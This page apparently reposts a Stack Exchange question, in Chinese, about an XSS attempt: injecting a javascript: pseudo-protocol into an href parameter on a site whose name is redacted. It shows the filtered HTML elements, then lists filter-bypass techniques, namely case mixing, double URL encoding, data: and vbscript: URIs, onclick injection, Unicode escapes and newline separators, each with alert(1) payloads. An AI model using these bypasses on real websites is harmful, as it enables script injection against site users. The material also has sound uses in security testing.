You need to enable JavaScript to run this app.
优惠活动
大模型
产品
解决方案
定价
更多

利用href触发XSS遇编码与截断问题求解决方案

XSS注入遇到字符编码与内容截断的解决方案

问题描述

尝试向href属性注入javascript:alert(1)触发XSS时遇到两种拦截情况:

  • 直接注入原始代码,站点会对<、:、>等特殊字符做URL编码(比如:被转成%3a),导致伪协议失效;
  • 对特殊字符做HTML编码(比如:换成&#58;),站点会直接删除编码内容及后续所有字符,截断后的参数只剩javascript。

两次尝试的元素代码

第一次注入原始代码后的元素

<a class="primary-navigation-action more js-analytics-event at-element-click-tracking" href="https://www.target.com/?trk=javascript%3aalert(1)&amp;src=direct%2Fnone&amp;veh=direct%2Fnone%7Cdirect%2Fnone" target="_blank" data-analytics-config="{&quot;category&quot;:&quot;External target&quot;,&quot;action&quot;:&quot;click - Create campaign&quot;,&quot;label&quot;:&quot;https://www.target.com/?trk=lms-7-5 - header&quot;,&quot;componentId&quot;:&quot;actionable-content_1395275809&quot;}">
Click here
</a>

第二次HTML编码后被截断的元素

<a class="primary-navigation-action more js-analytics-event" href="https://www.target.com/accounts?src=direct%2Fnone&amp;veh=direct%2Fnone%7Cdirect%2Fnone&amp;trk=javascript" title="Create ad" target="_blank" data-analytics-config="{&quot;category&quot;:&quot;External target&quot;,&quot;action&quot;:&quot;click - Create ad&quot;,&quot;label&quot;:&quot;https://www.target.com/accounts - header&quot;,&quot;componentId&quot;:&quot;actionable-content_1011291329&quot;}">
Click here
</a>

可行的绕过思路

  • 大小写混淆绕过:尝试混合大小写的伪协议,比如JaVaScRiPt:alert(1),部分过滤规则仅匹配全小写/全大写的协议字符串,可能失效。
  • 双重URL编码:把:做双重编码(: → %3a → %253a),构造javascript%253aalert(1)。如果后端仅做一次编码处理,前端JS解析URL时会自动解码两次,还原出有效伪协议。
  • 伪协议替换:尝试其他可执行伪协议,比如data:text/html,<script>alert(1)</script>(需浏览器支持且站点未限制伪协议范围),或者针对IE环境的vbscript:alert(1)。
  • 事件属性注入:如果href过滤严格,尝试注入onclick等事件属性(比如构造参数为onclick=alert(1)),需确认目标属性是否允许用户输入且未被过滤。
  • Unicode转义:在支持JS解析的场景下,用Unicode转义字符代替:,比如javascript\u003aalert(1),部分过滤逻辑可能未覆盖这类转义。
  • 换行符分隔:尝试用URL编码的换行符%0a或%0d分隔协议与代码,比如javascript%0a:alert(1),部分WAF可能允许这种格式。

内容的提问来源于stack exchange,提问作者aws abbadi

相关产品推荐
方舟 Agent Plan

超全模态模型 × Harness 升级,最新支持 Deepseek-V4.1-Flash、GLM-5.3 系列、Doubao-Seedream-5.0-pro、Kimi-K3 (部分), 限时 9.9 元起

最近更新时间:2026.07.27 18:55:38